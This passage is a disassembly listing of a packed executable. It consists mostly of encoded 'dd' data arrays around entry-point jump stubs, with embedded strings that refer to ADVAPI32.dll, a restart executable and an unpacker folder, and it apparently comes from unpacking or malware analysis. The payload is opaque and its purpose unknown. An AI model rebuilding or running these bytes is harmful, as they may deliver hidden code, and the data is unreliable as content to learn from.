		dd 510602CDh, 0A9BE6895h, 4A0C87E0h, 0F1DCEB00h, 7B965290h
		dd 7140A086h, 0B7D300F9h, 0C310CA29h, 8128E80Ch, 0B8888B3Eh
		dd 1F00ADFDh, 7CA9643Dh, 0C3A7E5Fh, 849B230Fh, 6B00F579h
		dd 54F6B8CEh, 0C0BBC40Ch, 887555F0h, 49C01949h,	0E6483AC3h
		dd 16030052h, 1269C6A7h, 8500B90Eh, 9C66D00Dh, 1B40B3F8h
		dd 0A1EBEABAh, 3EE6DBB8h, 0D546E00h, 1141F9A1h,	0E990A803h
		dd 283C6029h, 2A6948CDh, 72574600h, 40D684ECh, 290A2653h
		dd 11420C8Dh, 0F6EEFF89h, 88FE482Ch, 166C4D00h,	6241EBA1h
		dd 59CFD104h, 91480040h, 151D1079h, 98CF6F80h, 0A8F680FCh
		dd 1299668h, 0F3DED16h,	8323EA40h, 0D7F17B89h, 1E85C8CCh
		dd 809F002Dh, 47217A6Dh, 0A16076CEh, 7899DD90h,	49E018D3h
		dd 50359916h, 23015200h, 0A6DA29E4h, 5A86C008h,	0D3D7D9A7h
		dd 494C430Ch, 56310Dh, 23132CA5h, 0C47498AAh, 783B7518h
		dd 2448C398h, 4024667Ch, 0FD22CCDFh, 4B423Fh, 8035EEDEh
		dd 1839A12Ah, 2902652Eh, 6C00DFA3h, 0C5DD94CCh,	611D7BEh
		dd 34739CC2h, 23187A7Ch, 448098C4h, 0B59303Fh, 0AC518170h
		dd 0C88A7C29h, 0C1780A0Fh, 80410CE1h, 54FA11E0h, 19B092h
		dd 9D9E409Fh, 7E696EA9h, 68067F03h, 33EE948h, 23C48A41h
		dd 0E1FF53B7h, 0E8E36F82h, 7900BFF7h, 0D259CE60h, 276912Bh
		dd 0A70FA989h, 0A041454Dh, 60C84252h, 59241A20h, 0D94900DAh
		dd 431457F9h, 35018988h, 5D633C4Eh, 0F2DC7CB4h,	0A350A0ECh
		dd 0EBE700A0h, 43C757FEh, 90AF60Fh, 941766CAh, 87530680h
		dd 3D3B288h, 58BA2E3Ah,	8FD803ABh, 0E18BDE7h, 1A58DE20h
		dd 0D1BB01BCh, 445579Bh, 0A3E04871h, 33A49954h,	19A4801h
		dd 1DBE04E7h, 20EC2192h, 9F82E8B0h, 0C9FC8606h,	211B42h
		dd 3671C673h, 9232254Ah, 8078FA4Ch, 0BFD58595h,	0C59B06D4h
		dd 0B9016436h, 0DC047072h, 68C9AD8Fh, 0F8C500BBh, 11F7B727h
		dd 0A704A00Ch, 75416146h, 9C4948D4h, 0D596A681h, 9FA070DEh
		dd 0AAEA95Ch, 0BC370470h, 0AB4D9C3Ah, 5B920C80h, 7B1DB3h
		dd 4C6ADC0Fh, 0D5C039C6h, 1C10A626h, 7CF9CE18h,	0D45A5533h
		dd 34473417h, 0C99B1960h, 0EC0100AFh, 0C5DF18ACh, 0F6123867h
		dd 2C030F7Ah, 87CBD33h,	47420D70h, 41A8D40Fh, 0EB12A0F1h
		dd 193C9E0h, 0AC3E6E8h,	608D9D70h, 0CF022DF3h, 9F7B7EBBh
		dd 0BD3469F0h, 881E5060h, 141C8BA3h, 0D8404B77h, 73018235h
		dd 701D4C4Dh, 30417616h, 0DE9C9280h, 0FC6FD300h, 0F8171216h
		dd 0AB35006Bh, 0EBCB02CDh, 7008DF4Eh, 801D6D7Bh, 0B9E5ADEFh
		dd 0E937890Ch, 0CDA01C57h, 87B86Bh, 395A9426h, 7D1532D2h
		dd 2586BA07h, 417CFC11h, 452230E9h, 0AA5DA180h,	41FBDF00h
		dd 5971F45Ah, 817482h, 42342C46h, 764F17CCh, 0AA0C2914h
		dd 74E399Ch, 479E3C2Fh,	0EAE7ED70h, 24C4A85Fh, 70A000F5h
		dd 6A4F5B7Ah, 0B3FAED0Bh, 400A5A00h, 0F3761A6Ch, 312460EAh
		dd 70526FDDh, 0F70F2000h, 5672F4E3h, 78BB3CBDh,	4258F8h
		dd 0E9B03F80h, 0EB00C20Ah, 72654D63h, 3ABBB54Eh, 0A2801EECh
		dd 0BCB8D160h, 144C7EC7h, 7154006Bh, 73AB7AA4h,	48C8B0CEh
		dd 0C2124CF2h, 9178309Bh, 1702C135h, 227869D2h,	844840F7h
		dd 716E00B9h, 3687A66Ah, 0A0307B81h, 0FAA1B961h, 541C090h
		dd 0D076958Bh, 370CDFCh, 3F930B16h, 2B8EF85Ch, 0A808936Dh
		dd 0B71A801Eh, 0D756E30h, 0BB47E600h, 0FD1570D2h, 5889811h
		dd 4ECA76E8h, 0AAC1C080h, 0F544922h, 0B400E584h, 3B676309h
		dd 94C59E4h, 0F85B584Ah, 0EB2D8C10h, 79B02344h,	104300D4h
		dd 76DA038Dh, 781CF932h, 18E4B882h, 310FB200h, 0B16718B3h
		dd 3D4E848Ch, 653C80DBh, 880005BCh, 153A6442h, 0B323FF4h
		dd 0A832BE9h, 8FDA703h,	0BB043900h, 0AB3D7C84h,	39F00940h
		dd 4E01B1D1h, 50859023h, 93382F98h, 0ECB54102h,	61F5705Eh
		dd 0A3111D1Ch, 0D5298F87h, 0FF95E037h, 0F005E4E9h, 7FE1048Eh
		dd 80AA9214h, 0BCDA18C6h, 263DC790h, 0BF8DCCBh,	8141E5ECh
		dd 2032D39Ch, 7ABB48E8h, 0B4D10468h, 886E0EF8h,	27E6F584h
		dd 0C3007172h, 0E087C0D7h, 3FEC569h, 0F7C9C3Ch,	0EA81A4CBh
		dd 5BA85028h, 0F60272DAh, 562F6C97h, 395A4037h,	4C70070h
		dd 47D494FCh, 0B2761832h, 3C36D34Ch, 14F1267Ch,	0F3A6A880h
		dd 28E0BD58h, 44DC3040h, 0D5071098h, 0BF50FCB4h, 11F51CE3h
		dd 39A9320h, 0CB3539E5h, 14EC992Eh, 5711FD8h, 0F666885h
		dd 1CBC0745h, 80A04AA4h, 63CDE83Eh, 0A2002957h,	30AEEFE6h
		dd 245DB4D0h, 0E889DBCh, 0AAA07AFBh, 3251026Ch,	49059001h
		dd 12786203h, 249FEC48h, 4778A419h, 0D1999066h,	0E60B4F67h
		dd 0C44689h, 5B4D8DD4h,	7868A89Bh, 54C65823h, 0A6339E80h
		dd 64B0F94Eh, 0FBE84645h, 17190B74h, 0D30132E5h, 2323CE0Bh
		dd 33167C68h, 1D1887BEh, 0E4F9A91h, 0ABEF58D1h,	0C2FC2EA0h
		dd 4101B63Eh, 0DE2DC5BEh, 0E430BA32h, 0D67A09E4h, 0F0800187h
		dd 0D74123DAh, 5418CC90h, 32510B63h, 0BDF800B8h, 353D08C3h
		dd 2026E966h, 89000441h, 24FD1052h, 0E518A06Eh,	67841EC5h
		dd 7BFBCA91h, 77CD808Ch, 54DF398Fh, 0B8165200h,	2B3F0EF4h
		dd 1BED04C9h, 9253877Ch, 0DCE44224h, 1801F01Eh,	226D81C0h
		dd 0E7DA85Eh, 4F709BD6h, 142D62A0h, 80B87129h, 692EB609h
		dd 0F628812Ch, 0E432857Bh, 0E998B050h, 88C69412h, 268E7E00h
		dd 3BD56FA2h, 0C5970080h, 4536C268h, 0BAE34254h, 1BB48029h
		dd 0F6160C33h, 0D5FA00F2h, 3F48E84h, 0EA7B9CA9h, 39237909h
		dd 49D804CAh, 59F42441h, 2182011h, 3C27DB8Bh, 0FE801BE9h
		dd 34E2C399h, 0E072A7F7h, 0FF01CC52h, 60FBFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54AA1C:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_54DEE1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 5D76B200h, 665DB700h, 0A8h, 6 dup(0)
		dd 12FFA400h, 4	dup(0)
		dd 0A691FA00h, 4Ah, 0B77ACA00h,	9B578300h, 4Eh,	27h dup(0)
		dd 58002300h, 3	dup(0)
		dd 0ED5CA500h, 77h, 671600h, 0C530DF00h, 0E7519DA9h, 0FFh
		dd 0B82F4100h, 3A0E2h, 0F5180B00h, 59030477h, 0FE030400h
		dd 7Fh,	0FFFFFF00h, 0FFh, 0
		dd 0E8059100h, 77h, 0A39BAC00h,	0A1229200h, 8 dup(0)
		dd 54D3C900h, 12FFE000h, 0
		dd 0FE800h, 0DD23D700h,	77h, 2 dup(0)
		dd 0A7779500h, 7Fh, 0B0051700h,	42000C80h, 58002302h, 8	dup(0)
		dd 5BE5A700h, 2	dup(0)
		dd 58DB1F00h, 6	dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 80h dup(0)
		dd 37297500h, 58h, 3 dup(0)
		dd 6B4800h, 0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 72A73700h, 58306626h, 0
		dd 54D6C900h, 1Ah dup(0)
		dd 4001D800h, 3	dup(0)
		dd 0E7A14400h, 77h, 0FE030400h,	2DA3337Fh, 5Dh,	6B4800h
		dd 0
		dd 0A109F700h, 0
		dd 8BB99400h, 0FE0304ACh, 7Fh, 0B0EF1000h, 12D94E00h, 4	dup(0)
		dd 59F74A00h, 3	dup(0)
		dd 3A000h, 75BDCB00h, 41h, 0
		dd 10B9C300h, 0B9h, 6 dup(0)
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 0FE030400h, 0CD4D7Fh, 4DE00000h, 6 dup(0)
		dd 5BAB8A00h, 4	dup(0)
		dd 0A1A00F00h, 58B96300h, 8C07AB00h, 2,	0
		dd 5B000000h, 2, 0
		dd 2BF82D00h, 0D6h, 6F1D00h, 0
		dd 5E962300h, 0FFh, 14h	dup(0)
		dd 200h, 0F52E0F00h, 77h, 2 dup(0)
		dd 1FCFC00h, 22222280h,	22222222h, 22h,	3 dup(0)
		dd 8000h, 4 dup(0)
		dd 5BA7B300h, 0FFFFFF00h, 0FFh,	0A1A00F00h, 0
		dd 0A109F700h, 482400h,	75h, 4 dup(0)
		dd 5BC3AD00h, 0
		dd 0EB2B0F00h, 0FFh, 2 dup(0)
		dd 0F08FA000h, 0FFh, 5B480300h,	5D0DC000h, 6 dup(0)
		dd 59076D00h, 3	dup(0)
		dd 4A6CB800h, 2, 143400h, 4 dup(0)
		dd 5C1A8A00h, 2	dup(0)
		dd 5CD3F300h, 0D4C96A00h, 0F28D8377h, 29h, 0FF8DB000h
		dd 0FFh, 0
		dd 0B41B4000h, 46DA4476h, 0C2h,	5A9FC600h, 7D100h, 2 dup(0)
		dd 81FFB000h, 0C48601h,	58602000h, 4 dup(0)
		dd 0A5999500h, 300h, 4 dup(0)
		dd 5DCA4200h, 0B3h, 2 dup(0)
		dd 19C7A100h, 35h, 6 dup(0)
		dd 0A169DD00h, 0AA3B0E00h, 0DEh, 58002300h, 0
		dd 0DF76100h, 1Eh, 0
		dd 5E962300h, 9D7C3CFFh, 1Fh, 8	dup(0)
		dd 0A169DD00h, 5 dup(0)
		dd 0E8000h, 0FE030400h,	0D280CF7Fh, 0F8h, 4 dup(0)
		dd 8C000000h, 2, 4 dup(0)
		dd 0FC39BA00h, 0AE8D8D78h, 145h, 2 dup(0)
		dd 18A14B00h, 5AE7E761h, 5A4C9429h, 0
		dd 59EE2500h, 7000h, 0
		dd 0C0000000h, 39FFh, 0
		dd 58002300h, 5A512800h, 0FFFFFC00h, 77h, 0Bh dup(0)
		dd 46DA4400h, 0C2h, 3 dup(0)
		dd 6A6000h, 55h, 3 dup(0)
		dd 0FF990000h, 0FFh, 57E67500h,	0E8216400h, 77h, 0
		dd 5A097400h, 5B12A800h, 35h, 4	dup(0)
		dd 433E4600h, 6Ch, 0AB4F8000h, 0A0000033h, 2 dup(0)
		dd 0A7A34700h, 54C0C57Fh, 6 dup(0)
		dd 5832D800h, 9	dup(0)
		dd 0F60F1400h, 33DB7Fh,	2 dup(0)
		dd 0BB9900h, 0Bh dup(0)
		dd 30400h, 6 dup(0)
		dd 671600h, 0FFFFFC00h,	594262FFh, 4 dup(0)
		dd 34567800h, 54AF4012h, 2 dup(0)
		dd 92C31200h, 10h, 597F5D00h, 1C53B32h,	4 dup(0)
		dd 0A58D5300h, 0FE030400h, 7Fh,	0Ah dup(0)
		dd 3C97A900h, 5Fh, 0
		dd 14234A00h, 5	dup(0)
		dd 0FFFFE800h, 0FFh, 0AB4F8000h, 0D9D05D33h, 5880E173h
		dd 6 dup(0)
		dd 2B00h, 4 dup(0)
		dd 589CC600h, 0B1A1FE00h, 54C7C500h, 6 dup(0)
		dd 671600h, 2 dup(0)
		dd 5880E100h, 5	dup(0)
		dd 0C530DF00h, 0A0A9h, 8B11CC00h, 0FE030431h, 7Fh, 0FE030400h
		dd 0F5692C7Fh, 0F9h, 0
		dd 7400h, 28020000h, 79h, 0E7796300h, 77h, 0
		dd 92C00h, 0F7EBB300h, 77h, 6 dup(0)
		dd 2B60CF00h, 0B812h, 0C00B0000h, 18C20374h, 24448B00h
		dd 0E8530Ch, 5B000000h,	17C381h, 5C890000h, 44891024h
		dd 0B85B1424h, 0A1A037h, 448BE0FFh, 0E0FF0424h,	13h dup(0)
		dd 8B16B00h, 69h, 4 dup(0)
		dd 86BAD700h, 0CFh, 2 dup(0)
		dd 4001D800h, 6	dup(0)
		dd 0A37FD800h, 0
		dd 0FFEF2800h, 0FFh, 1FCFC00h, 80h, 7 dup(0)
		dd 21212100h, 21h, 0
		dd 0FF8DB000h, 0FFh, 5 dup(0)
		dd 5A9E6600h, 0
		dd 0C1FFB000h, 1, 2 dup(0)
		dd 0FF924000h, 0FFh, 0FFBFFE00h, 5168DE32h, 0BAh, 4 dup(0)
		dd 1E2B0100h, 7Ah, 6 dup(0)
		dd 0A4D00h, 2 dup(0)
		dd 218F00h, 0
		dd 0FE030400h, 7Fh, 0A170C400h,	3 dup(0)
		dd 100h, 5A51BE00h, 4 dup(0)
		dd 0FE030400h, 7Fh, 0Bh	dup(0)
		dd 36363600h, 36h, 0
		dd 100h, 0A12BDE00h, 56D9B900h,	58AF3580h, 0
		dd 23952800h, 33h, 0FFFF1400h, 0FFh, 8 dup(0)
		dd 400h, 0FFFFFF00h, 0FFh, 8 dup(0)
		dd 0A77F1F00h, 0FFh, 0
		dd 200h, 2 dup(0)
		dd 57E69D00h, 0A2156800h, 3 dup(0)
		dd 5B837100h, 0
		dd 5E962300h, 50CFF9FFh, 28h, 0A2326800h, 4 dup(0)
		dd 55597400h, 86h, 9 dup(0)
		dd 66D08800h, 0E82168B6h, 77h, 5 dup(0)
		dd 0FE030400h, 7Fh, 0Bh	dup(0)
		dd 59659100h, 1Bh dup(0)
		dd 0FF7CF000h, 0FFh, 3 dup(0)
		dd 0FE030400h, 7Fh, 0FE030400h,	7Fh, 6 dup(0)
		dd 7800h, 2 dup(0)
		dd 0C3268200h, 0FFh, 0Bh dup(0)
		dd 110000h, 2 dup(0)
		dd 0EC00h, 0
		dd 597F5D00h, 32h, 0
		dd 0D25B6F00h, 7365527Ah, 74726174h, 2E707041h,	657865h
		dd 2 dup(0)
		dd 0A4D00h, 2 dup(0)
		dd 0E74A3B00h, 77h, 4 dup(0)
		dd 4A000000h, 2, 2 dup(0)
		dd 5C000000h, 2, 0
		dd 61FEFF00h, 0FFFFFF33h, 0FFh,	0
		dd 0EF5D5F00h, 7Eh, 21FFB000h, 2, 10A400h, 0
		dd 97751F00h, 0A40EA6Eh, 0F34E5901h, 0FFh, 2 dup(0)
		dd 40100000h, 0A54AC900h, 2FFh,	3 dup(0)
		dd 12FF5400h, 6	dup(0)
		dd 54D6C900h, 3	dup(0)
		dd 100000h, 4 dup(0)
		dd 671600h, 4 dup(0)
		dd 1FCFC00h, 80h, 6 dup(0)
		dd 44000h, 2 dup(0)
		dd 0A73A1700h, 2FFh, 9 dup(0)
		dd 58E8F300h, 2	dup(0)
		dd 4A7D500h, 37h, 0Eh dup(0)
		dd 9800h, 0
		dd 0A7CC8400h, 0BF3C6CFFh, 7CFFh, 0A23F00h, 0A1915B00h
		dd 5 dup(0)
		dd 5C1C4A00h, 0Ah dup(0)
		dd 40564300h, 0FE030400h, 7Fh, 0
		dd 5C110000h, 8	dup(0)
		dd 3CC0000h, 8E800h, 0
		dd 0FE8F3500h, 7Fh, 3 dup(0)
		dd 75BDCB00h, 41h, 5 dup(0)
		dd 0A4D00h, 8 dup(0)
		dd 54B57500h, 7	dup(0)
		dd 28010500h, 0Ah, 1900h, 5 dup(0)
		dd 59F74A00h, 0Ah dup(0)
		dd 0FE710700h, 7Fh, 10h	dup(0)
		dd 12FEF000h, 3	dup(0)
		dd 0A18C0A00h, 7 dup(0)
		dd 0A3B13400h, 54D6C900h, 12FF5400h, 154BF500h,	0DDh, 0F28D8300h
		dd 5BACAA29h, 2	dup(0)
		dd 5954D500h, 2	dup(0)
		dd 0FFEF2800h, 0A4FFh, 0D6C00h,	0Ah dup(0)
		dd 324000h, 0AF000000h,	3 dup(0)
		dd 59861000h, 2	dup(0)
		dd 9E13100h, 12h, 5 dup(0)
		dd 0DD23D700h, 77h, 3 dup(0)
		dd 0B58600h, 5CDF8900h,	2 dup(0)
		dd 0AB2C3700h, 0FFh, 0A1A03700h, 0A1A00F00h, 8 dup(0)
		dd 0E8061800h, 77h, 3 dup(0)
		dd 0A2909100h, 0E3h, 2 dup(0)
		dd 271000h, 3 dup(0)
		dd 100h, 2 dup(0)
		dd 58A70400h, 5	dup(0)
		dd 6EB4AD00h, 0A6D9461Fh, 0FFh,	2DDF8A00h, 25h,	5 dup(0)
		dd 0A1FA5600h, 2 dup(0)
		dd 5D000000h, 2, 4 dup(0)
		dd 0FAB5DD00h, 32h, 3 dup(0)
		dd 35B00h, 3F9F800h, 15h dup(0)
		dd 0B05F9000h, 10h dup(0)
		dd 0E76A2E00h, 77h, 5 dup(0)
		dd 100h, 0
		dd 7C3E900h, 7 dup(0)
		dd 44000h, 42000000h, 5BE91102h, 0DD000000h, 77h, 0FF8C0A00h
		dd 0A15E2E2Eh, 56F3E400h, 0E0h,	0
		dd 58C5E900h, 2	dup(0)
		dd 0AC00h, 58306600h, 0
		dd 0DFEF00h, 6 dup(0)
		dd 3F9F800h, 4 dup(0)
		dd 5A082600h, 12FFC400h, 0Ah dup(0)
		dd 0E7796300h, 77h, 2 dup(0)
		dd 0E7A13F00h, 77h, 7 dup(0)
		dd 33016400h, 0A6h, 0
		dd 0C39400h, 0
		dd 0A6B09F00h, 6Fh, 60h	dup(0)
		dd 0E7A5FD00h, 77h, 0
		dd 0E6D70600h, 77h, 0
		dd 54C0C600h, 5	dup(0)
		dd 0EC00h, 5 dup(0)
		dd 5D42F500h, 7	dup(0)
		dd 5BB08D00h, 5752F400h, 2 dup(0)
		dd 0E001400h, 7	dup(0)
		dd 0E7C65700h, 77h, 0Eh	dup(0)
		dd 0D81F00h, 49A95D00h,	0FFFFFF53h, 0FFh, 0
		dd 0A2C38000h, 0ACh, 3 dup(0)
		dd 0A7A34700h, 17Fh, 33EB7800h,	0A7C0E520h, 0FFh, 9 dup(0)
		dd 5B846700h, 8	dup(0)
		dd 5954D500h, 8	dup(0)
		dd 5BEF6400h, 3	dup(0)
		dd offset dword_445750+0A4B0h
		dd 2 dup(0)
		dd 33333300h, 2	dup(33333333h),	33h, 3 dup(0)
		dd 0C0865200h, 9Ah, 3 dup(0)
		dd 584DF800h, 3	dup(0)
		dd 0C5F5E300h, 38h, 0E8216800h,	77h, 2 dup(0)
		dd 0E78B8200h, 77h, 0
		dd 0C301CD00h, 84h, 0
		dd 42000C00h, 2, 0
		dd 1D1A7A00h, 0
		dd 54BEDD00h, 75BDCB00h, 41h, 3	dup(0)
		dd 0D4862700h, 0DD59F010h, 77h,	0
		dd 0A169DD00h, 0
		dd 0A13E3B00h, 58002300h, 5 dup(0)
		dd 40000000h, 4	dup(0)
		dd 100h, 0BD71F900h, 77h, 2 dup(0)
		dd 5B000000h, 2, 0CD1400h, 0A2h, 2 dup(0)
		dd 8BB99400h, 0ACh, 2 dup(0)
		dd 671600h, 7 dup(0)
		dd 0B3283400h, 0E2h, 5 dup(0)
		dd 9020D800h, 6Eh, 3 dup(0)
		dd 0DD189A00h, 77h, 2 dup(0)
		dd 0AC51A600h, 39B7CFDAh, 43h, 0FFEF2800h, 0FFh, 0
		dd 4EFE3E00h, 0FFh, 5 dup(0)
		dd 0BD645200h, 4Bh, 2B60CF00h, 12h, 2 dup(0)
		dd 44BB2300h, 0C3h, 100h, 0Ah dup(0)
		dd 58306600h, 0
		dd 0A3065000h, 7Fh, 6 dup(0)
		dd 0A1314500h, 58F60E00h, 3 dup(0)
		dd 595D300h, 6 dup(0)
		dd 75BDCB00h, 961B1541h, 31h, 1Ah dup(0)
		dd 0FDCF2900h, 7Fh, 2 dup(0)
		dd 0C2FAD600h, 0C9h, 6 dup(0)
		dd 75BDCB00h, 41h, 0
		dd 24242400h, 24h, 4 dup(0)
		dd 1FCFC00h, 80h, 4 dup(0)
		dd 12FFA400h, 3	dup(0)
		dd 583F1B00h, 0
		dd 0EBC4F200h, 9482h, 7	dup(0)
		dd 233400h, 2 dup(0)
		dd 5CD99D00h, 5C110000h, 57E6C500h, 0
		dd 0A0D55400h, 0
		dd 0E793EF00h, 0FFF5B377h, 0FFh, 8 dup(0)
		dd 0C83FEB00h, 4, 5 dup(0)
		dd 12FF5400h, 0A223E800h, 0DBFFFF00h, 47h, 0Ch dup(0)
		dd 46DA4400h, 0C2h, 0
		dd 0A5A5E700h, 6 dup(0)
		dd 1FD500h, 3 dup(0)
		dd 6CB000h, 7 dup(0)
		dd 0E84DDA00h, 8877h, 2	dup(0)
		dd 40000000h, 0
		dd 0FE030400h, 7Fh, 58594400h, 2 dup(0)
		dd 0FFB26C00h, 0FFh, 0
		dd 0FFFFFF00h, 0FFh, 0A9303800h, 1Fh, 4	dup(0)
		dd 0D4C96A00h, 589C0677h, 0Ah dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 58663500h, 0
		dd 13016600h, 5Eh, 0
		dd 0A800h, 0
		dd 0E75CB500h, 77h, 2 dup(0)
		dd 200h, 2 dup(0)
		dd 59857B00h, 6	dup(0)
		dd 0F560DF00h, 77h, 2 dup(0)
		dd 54D6C900h, 54DB5D00h, 100h, 0AFF400h, 3 dup(0)
		dd 0FF0EE800h, 0FFh, 0
		dd 4A000000h, 58A70902h, 2 dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Dh dup(0)
		dd 400h, 0
		dd 9000h, 2Fh dup(0)
		dd 6400h, 6 dup(0)
		dd 0D7039300h, 56h, 6 dup(0)
		dd 0A7FFDD00h, 0FFh, 2 dup(0)
		dd 75BFCF00h, 41h, 2Fh dup(0)
		dd 12FF5400h, 0A2156000h, 2 dup(0)
		dd 597F5D00h, 32h, 0
		dd 108DB000h, 0A19C3736h, 4 dup(0)
		dd 5B22BB00h, 0D25100h,	5 dup(0)
		dd 24E900h, 0B4h dup(0)
		dd 1DE58600h, 0Eh, 8 dup(0)
		dd 100h, 4 dup(0)
		dd 508D1800h, 3	dup(0)
		dd 0E78B8200h, 77h, 0Ah	dup(0)
		dd 65685400h, 6164696Dh, 1Ch dup(0)
		dd 6A6000h, 55h, 5B22BB00h, 54AF4100h, 584D7500h, 6 dup(0)
		dd 12419600h, 0
		dd 0EA99EF00h, 5A5C30CDh, 0
		dd 58663500h, 89h dup(0)
		dd 5AB8A300h, 57E40200h, 8 dup(0)
		dd 0E7A5FD00h, 58778377h, 0FE030400h, 7Fh, 0
		dd offset dword_58E400
		dd 0
		dd 0E7AC5E00h, 77h, 0B4389700h,	1Eh, 2 dup(0)
		dd offset dword_457444+23FBCh
		dd 4 dup(0)
		dd 0FFFFFF00h, 0A00FE6FFh, 6400h, 0
		dd 0A679F000h, 0FFh, 0
		dd 69AD4100h, 12FFF0BDh, 47478C00h, 25h, 5C228B00h, 7 dup(0)
		dd 52FEF800h, 0A21560FFh, 57B09500h, 0
		dd 671600h, 0FE030400h,	7Fh, 1446F000h,	59426200h, 0
		dd 200h, 0
		dd 0A3731600h, 0Dh dup(0)
		dd 0BFFE2800h, 0FFh, 5 dup(0)
		dd 12FD0800h, 7	dup(0)
		dd 0AAFA7800h, 5, 5B817F00h, 5 dup(0)
		dd 55C36800h, 0E8h, 0
		dd 583F1B00h, 2	dup(0)
		dd 3D9400h, 2 dup(0)
		dd 671600h, 58002300h, 583F2D00h, 5 dup(0)
		dd 0E7A83700h, 77h, 58B96300h, 58306600h, 0DD00000h, 701D4000h
		dd 71h,	2 dup(0)
		dd 1395700h, 0
		dd 20E7000h, 0E7796302h, 12FEF977h, 7 dup(0)
		dd 0FFB7A100h, 0FFh, 0Fh dup(0)
		dd 54D3C900h, 3	dup(0)
		dd 6EB4AD00h, 1Fh, 3 dup(0)
		dd 0E7A14400h, 77h, 2 dup(0)
		dd 0B8000000h, 6 dup(0)
		dd 0A18C0A00h, 0A3064700h, 0FFh, 0
		dd 5C8FB900h, 0
		dd 0A7FFDD00h, 15D7B4FFh, 32h, 0
		dd 75BDCB00h, 41h, 2 dup(0)
		dd 67F2F600h, 76h, 2 dup(0)
		dd 0E7C48600h, 77h, 7 dup(0)
		dd 0E83E6800h, 77h, 3 dup(0)
		dd 3600000h, 3 dup(0)
		dd 0F4730400h, 1Dh, 0F5FA00h, 5	dup(0)
		dd 0C530DF00h, 0A9h, 0AEFB2C00h, 0AFB1CAB5h, 3 dup(0)
		dd 58D2B500h, 0B4h, 7 dup(0)
		dd 0FE030400h, 17Fh, 6 dup(0)
		dd 1FCFC00h, 80h, 0
		dd 43000h, 0
		dd 5CE6E400h, 3	dup(0)
		dd 2DDF8A00h, 584E5125h, 0FFFFFF00h, 0FFh, 0
		dd 0A5DC0C00h, 57E41CFFh, 4 dup(0)
		dd 5C01B700h, 8	dup(0)
		dd 5750EE00h, 11111100h, 11h, 4	dup(0)
		dd 59DCAD00h, 0
		dd 12FF6400h, 0EBA6E900h, 0E6003E77h, 4081B077h, 0C0h
		dd 9 dup(0)
		dd 59284A00h, 600h, 3 dup(0)
		dd 0A1923400h, 0FE030400h, 187Fh, 5A000000h, 0FDFF9C02h
		dd 0FFh, 0
		dd 6DABD100h, 12FEF87Dh, 5 dup(0)
		dd 0FFDD00h, 3 dup(0)
		dd 8C00h, 1FCFC00h, 80h, 4 dup(0)
		dd 0A1A00F00h, 0Ah dup(0)
		dd 8522ED00h, 3, 5 dup(0)
		dd 0AFF400h, 0FE030400h, 7Fh, 2	dup(0)
		dd 0FFFFFE00h, 0FFh, 12h dup(0)
		dd 108DB400h, 583D8E36h, 6 dup(0)
		dd 5CD3F300h, 0
		dd 47FC9100h, 6Dh, 100h, 0B2FFFC00h, 0A4D00h, 0
		dd 40000000h, 0E000h, 0FE030400h, 2B91447Fh, 12h, 0DD23D700h
		dd 77h,	7 dup(0)
		dd 5B141200h, 0
		dd 6EB4AD00h, 1Fh, 8000h, 8 dup(0)
		dd 346BF300h, 4E14391Fh, 0F6h, 7 dup(0)
		dd 0A4E17200h, 0FFh, 2 dup(0)
		dd 583F1B00h, 89C68000h, 3Ah, 0
		dd 8FA16400h, 0E60000E0h, 77h, 3 dup(0)
		dd 0A64B5500h, 5, 7 dup(0)
		dd 0FFFF3400h, 0FFh, 3 dup(0)
		dd 100h, 0
		dd 59EF3A00h, 2	dup(0)
		dd 5C2EB600h, 4	dup(0)
		dd 5A518500h, 11h dup(0)
		dd 3F9F800h, 0FE030400h, 7Fh, 0Fh dup(0)
		dd 514FAB00h, 58h, 0Fh dup(0)
		dd 0A2156800h, 108DB000h, 36h, 0
		dd 5BB1A900h, 0Ch dup(0)
		dd 0A0B16800h, 3 dup(0)
		dd 671600h, 4 dup(0)
		dd 0D407D300h, 429h, 0
		dd 583F1B00h, 54E4DF00h, 2 dup(0)
		dd 0E7A09900h, 77h, 13h	dup(0)
		dd 0A4D00h, 9 dup(0)
		dd 0FDF2BA00h, 77h, 4 dup(0)
		dd 5CF84C00h, 9C00h, 33E900h, 2	dup(0)
		dd 671600h, 2 dup(0)
		dd 0B29E8900h, 0A4D00h,	0
		dd 0BD71F900h, 77h, 2 dup(0)
		dd 0F11800h, 0A7A34700h, 7Fh, 6	dup(0)
		dd 58002300h, 0
		dd 0FFFBD700h, 0FFh, 0FE030400h, 0E779637Fh, 77h, 0FE0D5100h
		dd 7Fh,	0
		dd 331B00h, 0F5000000h,	0A2FC3E77h, 0FFh, 7 dup(0)
		dd 8400h, 2 dup(0)
		dd 95E42000h, 8Ch, 2 dup(0)
		dd 5BB58600h, 92593300h, 2Fh, 3F9B000h,	6 dup(0)
		dd 0A28AC000h, 80h, 5CF84C00h, 0
		dd 5954D400h, 0
		dd 0E805D800h, 77h, 0D4000000h,	3B78FB77h, 35h,	2 dup(0)
		dd 10A400h, 5AAEBE00h, 2B910000h, 1FCFC12h, 80h, 0E82FE800h
		dd 77h,	5CF84C00h, 8 dup(0)
		dd 0B1A500h, 2 dup(0)
		dd 54E9BC00h, 5A505F00h, 3 dup(0)
		dd 0A1939300h, 0
		dd 0FFFFFF00h, 0FFh, 0A1949900h, 2 dup(0)
		dd 12FF6400h, 0Ah dup(0)
		dd 0A4840900h, 0FFh, 7 dup(0)
		dd 0A39BAC00h, 0Ch dup(0)
		dd 54ED1A00h, 9	dup(0)
		dd 10A8C400h, 9Fh, 2 dup(0)
		dd 0D4D200h, 6 dup(0)
		dd 1DA00000h, 4	dup(0)
		dd 44BB2300h, 0C3h, 2 dup(0)
		dd 10F96C00h, 0
		dd 0DD5ECC00h, 77h, 0C530DF00h,	0ADBCA9h, 200h,	0E75CB500h
		dd 0AF00F877h, 4 dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54DEE1:				; CODE XREF: start:loc_54AA1Cj
